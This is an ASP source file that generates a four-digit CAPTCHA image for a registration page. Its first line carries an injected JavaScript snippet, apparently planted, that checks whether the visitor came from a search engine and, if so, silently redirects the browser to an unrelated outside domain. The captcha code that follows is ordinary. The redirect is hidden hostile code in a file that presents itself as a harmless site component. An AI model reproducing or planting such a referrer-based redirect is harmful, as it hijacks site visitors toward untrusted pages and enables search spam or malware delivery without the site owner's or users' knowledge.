d:\wwwroot\wuchunhua\zhuce\inc\Safecode.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="canvas.asp"-->
002: <%
003:
004:    Dim objCanvas
005:    Dim PointX,PointY,PointColor
006:    Dim iTemp
007:    Dim SafeCode
008:    Dim R,G,B,cc,kk  
009:    cc=80
010:    kk=30
011:    SafeCode = ""
012:    Session("SafeCode") = ""
013:   
014:    BGColor = "FFFFFF"
015:   
016:    R = Mid(BGColor,1,2)
017:    G = Mid(BGColor,3,2)
018:    B = Mid(BGColor,5,2)
019:       
020:   
021:   
022:    R = DecHex(R)
023:    G = DecHex(G)
024:    B = DecHex(B)
025:   
026:    Set objCanvas = New Canvas
027:   
028:    objCanvas.GlobalColourTable(0) = RGB(255,255,255) ' White
029:    objCanvas.GlobalColourTable(1) = RGB(0,0,0) ' Black
030:    objCanvas.GlobalColourTable(2) = RGB(255,0,0) ' Red
031:    objCanvas.GlobalColourTable(3) = RGB(0,255,0) ' Green
032:    objCanvas.GlobalColourTable(4) = RGB(0,0,255) ' Blue
033:    objCanvas.GlobalColourTable(5) = RGB(128,0,0)
034:    objCanvas.GlobalColourTable(6) = RGB(0,128,0)
035:    objCanvas.GlobalColourTable(7) = RGB(0,0,128)
036:    objCanvas.GlobalColourTable(8) = RGB(128,128,0)
037:    objCanvas.GlobalColourTable(9) = RGB(0,128,128)
038:    objCanvas.GlobalColourTable(10) = RGB(128,0,128)
039:    objCanvas.GlobalColourTable(11) = RGB(R,G,B)
040:
041:    objCanvas.BackgroundColourIndex = 11
042:   
043:    objCanvas.Resize cc,kk,false  
044:   
045:   
046:    Randomize timer
047:    SafeCode = cint(8999*Rnd+1000)  
048:       
049:    For iTemp = 0 To 30
050:       Randomize timer
051:       PointX = Int(Rnd * cc)
052:       PointY = Int(Rnd * kk)
053:       PointColor = Int(Rnd * 3)+2
054:       objCanvas.ForegroundColourIndex   = PointColor      
055:       objCanvas.Line PointX,PointY,PointX,PointY  
056:       
057:    next  
058:   
059:    objCanvas.ForegroundColourIndex = 1
060:    objCanvas.Line 1,1,cc,1
061:    objCanvas.Line 1,kk,1,1
062:    objCanvas.Line 1,kk,cc,kk
063:    objCanvas.Line cc,1,cc,kk
064:   
065:    Session("SafeCode") = SafeCode
066:    dim sc,sk
067:    Randomize timer
068:    sc = cint(24*Rnd)
069:    sk = cint(11*Rnd)
070:    objCanvas.DrawTextWE sc,sk,SafeCode
071:    objCanvas.Write
072:       
073:
074:
075:
076: Function DecHex (HStr)
077:   
078:    Dim Result
079:    Dim i,L
080:   
081:    Result = 0
082:   
083:   
084:    L = Len(Hstr)
085:   
086:
087:    For i = L-1 To 0 Step -1
088:   
089:       Result = Result + (16 ^ i)*GetDecBit(Mid(HStr,i+1,1))
090:       
091:    Next
092:   
093:    DecHex = Result
094:   
095: End Function
096:
097: Function GetDecBit (HStr)
098:   
099:    Dim Result
100:    Dim R(16)
101:    Dim i
102:   
103:    Result = 0
104:   
105:    R(0) = "0"
106:    R(1) = "1"
107:    R(2) = "2"
108:    R(3) = "3"
109:    R(4) = "4"
110:    R(5) = "5"
111:    R(6) = "6"
112:    R(7) = "7"
113:    R(8) = "8"
114:    R(9) = "9"
115:    R(10) = "A"
116:    R(11) = "B"
117:    R(12) = "C"
118:    R(13) = "D"
119:    R(14) = "E"
120:    R(15) = "F"
121:   
122:    For i = 0 To 15
123:       
124:       if HStr=R(i) Then Result = i : Exit For
125:       
126:    Next
127:   
128:    GetDecBit = Result
129:   
130: End Function
131: %
>
132:
133: